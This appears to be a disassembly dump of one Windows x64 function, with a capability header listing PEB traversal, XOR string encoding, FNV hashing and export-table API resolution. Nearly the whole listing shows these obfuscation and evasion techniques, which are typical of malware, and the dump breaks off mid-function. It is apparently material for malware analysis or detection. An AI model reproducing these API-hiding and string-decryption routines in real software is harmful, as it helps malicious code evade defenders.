Function at 0x1400595f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1c0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
mov rax, qword [0x14025a0c0]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor edi, edi
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
mov qword [rbp - 0x30], rdi
mov r14, r8
mov qword [rbp - 0x28], rdi
movups xmmword [rbp - 0x40], xmm0
mov qword [rsp + 0x70], rcx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], dil
jne 0x140059670
mov rdx, rcx
lea rcx, [rbp - 0x40]
call fcn.1400b2060
lea rcx, [rbp - 0x40]
call fcn.140059270
mov r15d, dword [reloc.WS2_32.dll_accept]
movdqa xmm8, xmmword [0x14023e800]
movdqa xmm12, xmmword [0x14023e850]
movdqa xmm9, xmmword [str.9999]
movdqa xmm7, xmmword [0x14023e780]
movdqa xmm6, xmmword [0x14023eca0]
movdqa xmm10, xmmword [0x14023e7b0]
movdqa xmm11, xmmword [0x14023e7a0]
test al, al
jne 0x140059987
cmp byte [0x1402365a3], dil
movsd xmm0, qword [0x140236598]
mov eax, dword [str._bA_t_]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
je 0x140059883
mov r8d, edi
cmp r15d, 2
jl 0x140059840
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [0x140236598]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x64]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rsp + 0x64], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
jmp 0x140059883
lea r9, [rsp + 0x60]
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140059850
mov eax, dword [str.rHBRGF6]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
movzx eax, word [0x140236978]
xor r9d, r9d
xor byte [rsp + 0x41], 0x31
xor ecx, ecx
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov word [rsp + 0x44], ax
movzx eax, byte [0x14023697a]
xor byte [rsp + 0x44], 0x34
xor al, 0x36
xor byte [rsp + 0x45], 0x35
mov byte [rsp + 0x46], al
mov byte [rsp + 0x40], 0x42
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140059967
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140059967
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x42e6c2e9
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059962
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059940
cmp r8d, 0x3d6507c9
je 0x14005996c
test r9d, r9d
jne 0x140059920
mov rax, qword [rax]
jmp 0x1400598f0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
movsd xmm0, qword [0x1402366a8]
lea r12, [0x1402972d0]
movzx eax, word [0x1402366b0]
movsd qword [rbp - 0x68], xmm0
mov word [rbp - 0x60], ax
nop word [rax + rax]
movzx eax, word [rbp - 0x60]
shr ax, 8
test al, al
je 0x1400599e4
xor byte [rbp - 0x68], 0x30
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor byte [rbp - 0x64], 0x34
xor byte [rbp - 0x63], 0x35
xor byte [rbp - 0x62], 0x36
xor byte [rbp - 0x61], 0x37
xor byte [rbp - 0x60], 0x38
xor byte [rbp - 0x5f], 0x39
mov qword [rsp + 0x30], rdi
lea rcx, [rbp - 0x68]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14025a150], rax
cmp byte [rbp - 0x5f], dil
jne 0x140059a46
xor byte [rbp - 0x68], 0x30
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor byte [rbp - 0x64], 0x34
xor byte [rbp - 0x63], 0x35
xor byte [rbp - 0x62], 0x36
xor byte [rbp - 0x61], 0x37
xor byte [rbp - 0x60], 0x38
mov byte [rbp - 0x5f], reloc.WS2_32.dll_gethostname
cmp rax, 0xffffffffffffffff
jne 0x14005a80c
lea rcx, [r12 - 1]
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140059a55
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r14 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140059a70
xorps xmm0, xmm0
mov qword [rbp - 0x78], rdi
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x70], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], dil
jne 0x140059a97
mov rdx, r12
lea rcx, [rsp + 0x78]
call fcn.1400b2060
lea rcx, [rsp + 0x78]
call fcn.140059270
test al, al
je 0x14005a55a
cmp byte [str.Krp3bTWQGE], dil
movups xmm0, xmmword [0x140236b98]
mov eax, dword [0x140236bb0]
mov dword [rbp + 0x18], eax
mov eax, dword [0x140235f90]
movups xmmword [rbp], xmm0
mov dword [rbp - 0x28], eax
movsd xmm0, qword [0x140236ba8]
movzx eax, word [0x140235f94]
movsd qword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x140235f78]
mov word [rbp - 0x24], ax
mov eax, dword [0x14023bd48]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x50], eax
movsd xmm0, qword [0x140235f88]
movzx eax, word [0x14023bd4c]
movsd qword [rbp - 0x30], xmm0
movsd xmm0, qword [str.GXZ_jRD_fRTSV_]
mov word [rbp - 0x4c], ax
movzx eax, byte [0x14023bd4e]
movsd qword [rbp - 0x58], xmm0
mov byte [rbp - 0x4a], al
je 0x140059c94
mov r8d, edi
cmp r15d, 2
jl 0x140059c55
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140059b60
cmp r8d, 0x1c
jge 0x140059c94
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140059c60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140059d27
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140059d27
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x83ded04f
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059d22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059d00
cmp r8d, 0xb8b620ae
je 0x140059d2c
test r9d, r9d
jne 0x140059ce0
mov rax, qword [rax]
jmp 0x140059cb0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp]
add rax, r10
call rax
cmp byte [rbp + 0x1b], dil
jne 0x140059ea4
mov r8d, edi
cmp r15d, 2
jl 0x140059e65
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140059d70
cmp r8d, 0x1c
jge 0x140059ea4
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140059e70
cmp byte [rbp - 0x23], dil
je 0x14005a004
mov r8d, edi
cmp r15d, 2
jl 0x140059fc5
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140059ed0
cmp r8d, 0x1e
jge 0x14005a004
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140059fd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005a097
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005a097
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf3edebab
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14005a092
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14005a070
cmp r8d, 0x4fe00952
je 0x14005a09c
test r9d, r9d
jne 0x14005a050
mov rax, qword [rax]
jmp 0x14005a020
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x40]
add rax, r10
call rax
cmp byte [rbp - 0x23], dil
jne 0x14005a214
mov r8d, edi
cmp r15d, 2
jl 0x14005a1d5
movdqa xmmword [rsp + 0x60], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14005a0e0
cmp r8d, 0x1e
jge 0x14005a214
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x14005a1e0
cmp byte [rbp - 0x4a], dil
je 0x14005a3b4
mov r8d, edi
cmp r15d, 2
jl 0x14005a36b
movd eax, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
mov r8d, listen
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm11
xorps xmm2, xmm1
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movdqa xmm1, xmm11
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x54], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x50], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005a380
mov rdx, r12
lea rcx, [rbp - 0x58]
call fcn.1400593a0
cmp byte [rbp - 0x4a], dil
jne 0x1400599b0
mov r8d, edi
cmp r15d, 2
jl 0x14005a517
movd eax, xmm12
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
mov r8d, listen
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x58]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm11
xorps xmm2, xmm1
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movdqa xmm1, xmm11
movd dword [rbp - 0x58], xmm2
movdqa xmm2, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x54]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp - 0x54], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x50]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x50], xmm2
mov eax, r8d
lea r9, [rbp - 0x58]
add r9, rax
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14005a521
jmp 0x1400599b0
cmp byte [0x1402362cb], dil
movsd xmm0, qword [0x1402362c0]
mov ecx, dword [0x1402362c8]
movsd qword [rsp + 0x48], xmm0
mov dword [rsp + 0x50], ecx
je 0x14005a6ff
cmp r15d, 2
jl 0x14005a6c9
movdqa xmm1, xmm7
movd eax, xmm12
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm7, xmm0
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [0x1402362c0]
xorps xmm7, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x48], xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x4c]
pmulld xmm0, xmm9
psubd xmm11, xmm0
movd xmm0, eax
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm11, xmm0
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
xorps xmm11, xmm1
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x4c], xmm11
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm9
psubd xmm10, xmm0
movd xmm0, eax
andps xmm10, xmm8
packuswb xmm10, xmm10
packuswb xmm10, xmm10
paddb xmm10, xmm0
xorps xmm10, xmm1
movd dword [rsp + 0x50], xmm10
jmp 0x14005a6ff
lea r8, [rsp + 0x48]
nop
mov eax, 0x1f7047dd
lea r8, [r8 + 1]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp edi, 0xc
jl 0x14005a6d0
mov eax, dword [str.rHBRGF6]
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
movzx eax, word [0x140236978]
xor r9d, r9d
xor byte [rsp + 0x41], 0x31
xor ecx, ecx
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov word [rsp + 0x44], ax
movzx eax, byte [0x14023697a]
xor byte [rsp + 0x44], 0x34
xor al, 0x36
xor byte [rsp + 0x45], 0x35
mov byte [rsp + 0x46], al
mov byte [rsp + 0x40], 0x42
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005a7e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005a7e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x92f26fa4
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005a7e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005a7c0
cmp r8d, 0x5b1b43b4
je 0x14005a7ec
test r9d, r9d
jne 0x14005a7a0
mov rax, qword [rax]
jmp 0x14005a770
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x14005bd2a
mov rsi, rdi
movabs r14, 0x200000000
nop dword [rax]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 2
mov rcx, rsi
mov rdx, rax
mov rbx, rax
call fcn.140059070
